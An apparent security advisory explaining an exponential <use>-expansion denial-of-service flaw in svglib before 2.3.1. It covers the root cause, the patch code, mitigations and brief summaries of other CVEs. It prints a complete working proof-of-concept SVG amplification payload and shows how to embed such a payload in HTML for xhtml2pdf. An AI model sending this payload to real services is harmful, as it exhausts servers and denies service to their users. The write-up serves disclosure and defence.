Nov 21, 2026·9 min read·2 visits
An algorithmic complexity vulnerability in svglib (< 2.3.1) allows unauthenticated attackers to trigger exponential memory and CPU exhaustion via nested, acyclic SVG <use> references. Upgrade to svglib 2.3.1, which enforces a hard limit of 10,000 <use> expansions per document.
svglib versions prior to 2.3.1 contain an uncontrolled resource consumption vulnerability in the svg2rlg() renderer. When parsing SVG documents containing nested <use> elements, SvgRenderer.renderUse() recursively resolves and deep-copies referenced subtrees without enforcing a global expansion limit. Although the library detects and blocks direct circular references, an attacker can construct an acyclic directed reference graph with high fan-out (an SVG analogue to the XML Billion Laughs attack). Processing a crafted SVG payload of less than 2 KB triggers exponential node duplication, exhausting CPU and memory in applications that convert user-supplied SVGs or HTML documents embedding SVG content.
svglib is a pure-Python library designed to read Scalable Vector Graphics (SVG) files and convert them into ReportLab Drawing (rlg) objects. It is widely deployed as a foundational dependency in Python document generation and HTML-to-PDF conversion pipelines, such as xhtml2pdf. In these architectures, svglib processes standalone SVG files as well as inline or base64-encoded data:image/svg+xml payloads embedded within HTML <img> elements.
Prior to version 2.3.1, the primary rendering entry point svg2rlg() is vulnerable to uncontrolled resource consumption (CWE-400) and improper restriction of recursive references (CWE-776). The SVG specification allows documents to define reusable graphical elements and instantiate them multiple times using the <use> element paired with an xlink:href attribute targeting an element's id. When svglib processes a <use> element, it resolves the target node and recursively duplicates the underlying ReportLab drawing primitives.
While svglib includes cycle detection to prevent infinite recursion from direct self-referential loops ($A \rightarrow B \rightarrow A$), it fails to bound the total number of cumulative node expansions across an acyclic reference graph. Consequently, an attacker can supply a compact SVG document containing a multi-layered directed acyclic graph (DAG) of <use> references.
This structure functions as an SVG structural equivalent to the classic XML Entity Expansion ("Billion Laughs") attack. An input file measuring roughly 1.4 KB to 1.7 KB can force the renderer to allocate hundreds of thousands or millions of cloned objects in memory, resulting in worker thread starvation, application hangs, or Out-Of-Memory (OOM) process termination.
The vulnerability resides in how SvgRenderer handles subtree cloning during the SVG-to-ReportLab translation phase in src/svglib/svglib.py. When the parser encounters a <use> node, it invokes SvgRenderer.renderUse(self, node, group=None). This method delegates target resolution and rendering to self.xlink_href_target(node, group=group).
During execution, xlink_href_target() looks up the target node specified by the fragment identifier in the document's definitions map and renders a fresh copy of that subtree into the active ReportLab Group container. To prevent infinite loops caused by circular dependencies, svglib tracks the active ancestor resolution chain and raises a CircularRefError exception if a node attempts to reference an ancestor currently being resolved on the call stack.
The root cause of CVE-2026-132275 is that ancestor cycle tracking only validates the depth of the active traversal path rather than the total breadth of expansions performed across the entire document lifecycle. Once a branch of the tree finishes resolving <g id="l0">, it pops off the active ancestor stack. Subsequent sibling <use> elements at the same level are then permitted to resolve <g id="l0"> again without penalty.
By chaining $L$ hierarchical levels of <g> groups where each group contains $F$ <use> elements pointing to the preceding level, the total number of renderUse() invocations scales exponentially as $\sum_{i=0}^{L} F^i$ (with leaf expansions reaching $F^L$). Because no cycle exists in this directed acyclic graph, CircularRefError is never triggered. Furthermore, because svglib materializes a distinct Python object hierarchy for every expanded graphical primitive rather than sharing immutable references, both CPU execution time and heap allocation grow at an $O(F^L)$ rate relative to an input size of $O(L \times F)$ bytes.
In versions up to 2.3.0, SvgRenderer.__init__() initialized internal state dictionaries for node definitions, waiting use nodes, and external SVGs, but maintained no counter for total <use> resolutions. In SvgRenderer.renderUse(), execution proceeded directly to self.xlink_href_target(node, group=group) on every encounter.
Commit 7380d3c3836940fd75f8e203fff80077b7d5a425 remediates the vulnerability by introducing a document-wide ceiling (MAX_USE_EXPANSIONS = 10_000) and a mutable state object (_UseExpansionCounter) shared across the primary document and any linked external SVG renderers.
# File: src/svglib/svglib.py (Patched in 2.3.1)
# Global ceiling for <use> resolutions per document tree
MAX_USE_EXPANSIONS = 10_000
class _UseExpansionCounter:
"""Counts <use> expansions of a document and of the external SVGs it pulls in."""
def __init__(self) -> None:
self.count = 0When SvgRenderer is instantiated, it allocates a _UseExpansionCounter instance on self._use_expansions. Crucially, when ExternalSVG.__init__() creates a subordinate SvgRenderer to handle external file references via xlink:href, the patch binds the parent renderer's counter reference directly to the child renderer (self.renderer._use_expansions = renderer._use_expansions).
# File: src/svglib/svglib.py - SvgRenderer.renderUse()
def renderUse(
self, node: NodeTracker, group: Optional[Group] = None, clipping: Any = None
) -> Group:
if group is None:
group = Group()
# Increment shared counter before resolving target subtree
self._use_expansions.count += 1
if self._use_expansions.count > MAX_USE_EXPANSIONS:
# Log the error exactly once when the threshold is first breached
if self._use_expansions.count == MAX_USE_EXPANSIONS + 1:
logger.error(
"Too many <use> expansions (limit is %d), skipping the rest",
MAX_USE_EXPANSIONS,
)
return group
try:
item = self.xlink_href_target(node, group=group)
except CircularRefError:
node.parent.remove(node.node)
return groupThe patch effectively bounds algorithmic complexity from $O(F^L)$ to a constant ceiling of $10,000$ expansions per svg2rlg() call. Sharing the _UseExpansionCounter reference across ExternalSVG instances prevents attackers from bypassing the quota by splitting the amplification tree across multiple external SVG fragments. One minor limitation is that MAX_USE_EXPANSIONS is defined as a module-level constant rather than a configurable parameter on svg2rlg(), though callers in Python can override svglib.svglib.MAX_USE_EXPANSIONS at runtime if tighter constraints are required.
Exploiting CVE-2026-132275 requires no authentication or specialized privileges beyond the ability to submit an SVG document—or an HTML document referencing an SVG—to an application invoking svglib. The attack vector is reachable both through direct file conversion endpoints calling svglib.svg2rlg() and indirectly through document rendering pipelines such as xhtml2pdf via pisa.CreatePDF().
In an xhtml2pdf scenario, an attacker supplying HTML content can trigger the vulnerable code path without uploading a separate .svg file by embedding a base64 or URL-encoded payload inside a standard <img> tag:
<img src="data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' ...>...</svg>" />A standalone proof-of-concept payload uses <defs> (or top-level <g> blocks) to construct a 6-level amplification chain with a fan-out factor of 10 at each layer:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
<g id="l0"><rect width="1" height="1"/></g>
<g id="l1"><use xlink:href="#l0"/><use xlink:href="#l0"/><use xlink:href="#l0"/><use xlink:href="#l0"/><use xlink:href="#l0"/><use xlink:href="#l0"/><use xlink:href="#l0"/><use xlink:href="#l0"/><use xlink:href="#l0"/><use xlink:href="#l0"/></g>
<g id="l2"><use xlink:href="#l1"/><use xlink:href="#l1"/><use xlink:href="#l1"/><use xlink:href="#l1"/><use xlink:href="#l1"/><use xlink:href="#l1"/><use xlink:href="#l1"/><use xlink:href="#l1"/><use xlink:href="#l1"/><use xlink:href="#l1"/></g>
<g id="l3"><use xlink:href="#l2"/><use xlink:href="#l2"/><use xlink:href="#l2"/><use xlink:href="#l2"/><use xlink:href="#l2"/><use xlink:href="#l2"/><use xlink:href="#l2"/><use xlink:href="#l2"/><use xlink:href="#l2"/><use xlink:href="#l2"/></g>
<g id="l4"><use xlink:href="#l3"/><use xlink:href="#l3"/><use xlink:href="#l3"/><use xlink:href="#l3"/><use xlink:href="#l3"/><use xlink:href="#l3"/><use xlink:href="#l3"/><use xlink:href="#l3"/><use xlink:href="#l3"/><use xlink:href="#l3"/></g>
<g id="l5"><use xlink:href="#l4"/><use xlink:href="#l4"/><use xlink:href="#l4"/><use xlink:href="#l4"/><use xlink:href="#l4"/><use xlink:href="#l4"/><use xlink:href="#l4"/><use xlink:href="#l4"/><use xlink:href="#l4"/><use xlink:href="#l4"/></g>
<g id="l6"><use xlink:href="#l5"/><use xlink:href="#l5"/><use xlink:href="#l5"/><use xlink:href="#l5"/><use xlink:href="#l5"/><use xlink:href="#l5"/><use xlink:href="#l5"/><use xlink:href="#l5"/><use xlink:href="#l5"/><use xlink:href="#l5"/></g>
<use xlink:href="#l6"/>
</svg>> [!NOTE] > Each additional level in the payload adds approximately 245 bytes to the raw XML size while multiplying the computational work and memory footprint by a factor of 10.
Empirical benchmarking from the public verification harness demonstrates the amplification characteristics across vulnerable (2.3.0) and patched (2.3.1) builds:
svglib 2.3.0 and 2.3.1.svglib 2.3.0. On svglib 2.3.1, execution terminates gracefully in 1.8 seconds after hitting the 10,000-expansion cap.svglib 2.3.0, whereas svglib 2.3.1 completes in ~1.8 seconds.CVE-2026-132275 carries a CVSS v3.1 base score of 7.5 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The vulnerability exclusively impacts system availability; it does not provide primitives for arbitrary code execution, memory corruption, or unauthorized data disclosure.
In web applications and microservice architectures that perform synchronous SVG or PDF rendering inside request handler threads (such as Gunicorn, uWSGI, or Celery worker pools), processing a single 1.7 KB payload ties up an entire Python worker process at 100% CPU utilization while rapidly consuming system RAM. Because Python's Global Interpreter Lock (GIL) is held during pure-Python object instantiation and tree traversal in svglib, multi-threaded worker configurations experience degraded responsiveness across all concurrent threads sharing the same interpreter process.
If an attacker submits multiple concurrent requests containing Level 6 or higher payloads, the target server can quickly exhaust all available worker processes and physical memory. This triggers the operating system's OOM killer, terminating the application server or container pod and resulting in a sustained denial of service for all legitimate users.
The primary remediation is to upgrade svglib to version 2.3.1 or later. Version 2.3.1 incorporates commit 7380d3c3836940fd75f8e203fff80077b7d5a425, which enforces a hard limit of 10,000 <use> expansions per document and gracefully skips remaining <use> nodes once the limit is reached.
pip install --upgrade "svglib>=2.3.1"Organizations maintaining downstream applications that depend on xhtml2pdf or ReportLab toolchains should audit their lockfiles (requirements.txt, poetry.lock, Pipfile.lock) to verify that transitive dependencies resolve svglib to at least 2.3.1.
For environments where an immediate library upgrade is not feasible, security engineers should implement defense-in-depth controls around SVG and HTML-to-PDF processing pipelines:
svg2rlg(), inspect the XML DOM using lxml or defusedxml and reject documents containing more than a strict threshold of <use> elements or nested <use> chains inside <defs> and <g> blocks.RLIMIT_AS / cgroup memory limits) and aggressive wall-clock execution timeouts (e.g., 5 seconds per render job).xhtml2pdf, implement a custom link_callback handler that strips or rejects data:image/svg+xml schemes and untrusted .svg assets if vector rendering is not required by business logic.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
svglib deeplook | <= 2.3.0 | 2.3.1 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | CWE-400: Uncontrolled Resource Consumption / CWE-776: Recursive Entity Expansion Analogue |
| CVSS v3.1 Score | 7.5 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| Affected Component | SvgRenderer.renderUse() in src/svglib/svglib.py (svglib <= 2.3.0) |
| Patched Version | svglib 2.3.1 |
| Attack Vector | Network / Crafted SVG file or inline data:image/svg+xml in HTML |
| Security Impact | Application-layer Denial of Service (Exponential CPU and Memory Exhaustion) |
| Exploit Status | Public Proof-of-Concept (PoC) Available |
| CISA KEV Status | Not Listed |
The software does not properly restrict the size or number of resources that can be utilized when processing input, leading to CPU and memory starvation.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.
CVE-2026-132277 (also tracked as GHSA-q87h-c5m7-659j) is an uncontrolled resource consumption and algorithmic complexity vulnerability in the Inscriptis Python library (versions 2.0.0 through 2.7.5). When rendering sibling HTML table elements inside a block-level parent container, the parser fails to pop the parent block's inline padding prefix from the internal canvas prefix stack upon closing the block. Consequently, each subsequent sibling table inherits and accumulates the indentation prefixes of all preceding tables. This causes the output string length and memory allocation of get_text() to grow quadratically with the number of sibling tables, allowing a compact untrusted HTML payload to trigger denial of service via memory exhaustion.
CVE-2026-132276 (GHSA-53pm-wgxf-c6qf) is an algorithmic complexity and Regular Expression Denial of Service (ReDoS) vulnerability in the Python wcmatch wildcard and glob matching library prior to version 11.2. Under default flags, matching a non-matching attacker-controlled filename against a static developer-defined pattern containing multiple star (*) wildcards separated by literal delimiters causes polynomial-time backtracking O(n^k) in the compiled regular expression. A single 255-byte filename evaluated against a 5-star pattern consumes approximately 86 seconds of 100% CPU time, allowing unauthenticated attackers to induce severe availability degradation.
CVE-2026-122244 (GHSA-r2q3-7m4h-63qg) is a high-severity cross-privilege Stored Cross-Site Scripting (XSS) vulnerability in Budibase prior to version 3.50.0. The flaw occurs due to defective character escaping in the JSON formatter utility combined with raw HTML rendering via Svelte's {@html} directive in the Budibase Builder interface. A low-privileged application user or an unauthenticated form visitor can store malicious HTML markup in a shared datasource, which subsequently executes arbitrary JavaScript in the browser session of an administrator or application builder inspecting Handlebars formula bindings.
A tenant-confusion vulnerability in the user initialization endpoint of the Budibase worker service (prior to version 3.50.0) allows unauthenticated remote attackers to bypass the one-time administrative setup guard. By supplying arbitrary tenant identifiers in POST requests to /api/global/users/init, an attacker can force the underlying CouchDB datastore to dynamically provision unlimited tenant databases and persist latent global administrator accounts. This results in datastore resource exhaustion, denial of service, and unauthorized administrative account creation inside non-default tenant contexts.
Paymenter versions prior to 1.5.7 contain an arbitrary method invocation vulnerability within the base Livewire component architecture. The application includes a legacy trait, HasConfirmation, inside app/Livewire/Component.php, which is inherited across 36 client-facing Livewire components. This trait exposes a public remote procedure call (RPC) endpoint named executeConfirmedAction without access controls or method allowlisting. Remote attackers can invoke arbitrary methods on any inheriting component, including Livewire's internal fill() method, enabling them to bypass #[Locked] property protections and manipulate internal component state and hydrated Eloquent models.